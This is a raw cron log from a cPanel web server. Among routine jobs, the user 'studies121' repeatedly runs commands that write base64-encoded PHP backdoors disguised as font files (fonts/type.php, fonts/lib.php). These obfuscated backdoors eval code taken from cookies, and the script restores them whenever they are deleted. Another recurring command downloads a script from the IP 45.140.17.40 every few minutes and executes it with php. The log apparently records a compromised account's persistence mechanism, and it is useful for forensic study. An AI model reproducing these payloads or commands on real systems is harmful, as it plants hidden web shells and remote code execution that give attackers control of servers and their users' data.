Sep 11 20:15:01 ip-184-168-122-23 CROND[30686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:15:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:15:01 ip-184-168-122-23 CROND[30688]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 20:15:01 ip-184-168-122-23 CROND[30689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:16:02 ip-184-168-122-23 CROND[30783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:16:02 ip-184-168-122-23 CROND[30781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:16:02 ip-184-168-122-23 CROND[30782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:16:02 ip-184-168-122-23 CROND[30784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:16:02 ip-184-168-122-23 CROND[30786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:16:02 ip-184-168-122-23 CROND[30785]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:17:01 ip-184-168-122-23 CROND[30890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:17:01 ip-184-168-122-23 CROND[30892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:17:01 ip-184-168-122-23 CROND[30894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:17:01 ip-184-168-122-23 CROND[30896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:18:01 ip-184-168-122-23 CROND[30983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:18:01 ip-184-168-122-23 CROND[30985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:18:01 ip-184-168-122-23 CROND[30987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:18:01 ip-184-168-122-23 CROND[30986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:18:01 ip-184-168-122-23 CROND[30988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:19:01 ip-184-168-122-23 CROND[31078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:19:01 ip-184-168-122-23 CROND[31081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:19:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:19:01 ip-184-168-122-23 CROND[31080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31261]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:20:01 ip-184-168-122-23 CROND[31267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:20:01 ip-184-168-122-23 CROND[31270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:20:01 ip-184-168-122-23 CROND[31272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:21:01 ip-184-168-122-23 CROND[31367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:21:01 ip-184-168-122-23 CROND[31368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:21:01 ip-184-168-122-23 CROND[31369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:21:01 ip-184-168-122-23 CROND[31370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:22:01 ip-184-168-122-23 CROND[31458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:22:01 ip-184-168-122-23 CROND[31460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:22:01 ip-184-168-122-23 CROND[31461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:22:01 ip-184-168-122-23 CROND[31462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:22:01 ip-184-168-122-23 CROND[31463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:23:01 ip-184-168-122-23 CROND[31553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:23:01 ip-184-168-122-23 CROND[31552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:23:01 ip-184-168-122-23 CROND[31556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:23:01 ip-184-168-122-23 CROND[31559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:24:01 ip-184-168-122-23 CROND[31646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:24:01 ip-184-168-122-23 CROND[31651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:24:01 ip-184-168-122-23 CROND[31649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:24:01 ip-184-168-122-23 CROND[31648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:24:01 ip-184-168-122-23 CROND[31650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31835]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:25:01 ip-184-168-122-23 CROND[31837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:25:01 ip-184-168-122-23 CROND[31838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:26:01 ip-184-168-122-23 CROND[31974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:26:01 ip-184-168-122-23 CROND[31976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:26:01 ip-184-168-122-23 CROND[31979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:26:01 ip-184-168-122-23 CROND[31980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:26:01 ip-184-168-122-23 CROND[31981]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 11 20:26:01 ip-184-168-122-23 CROND[31982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 20:27:02 ip-184-168-122-23 CROND[32153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
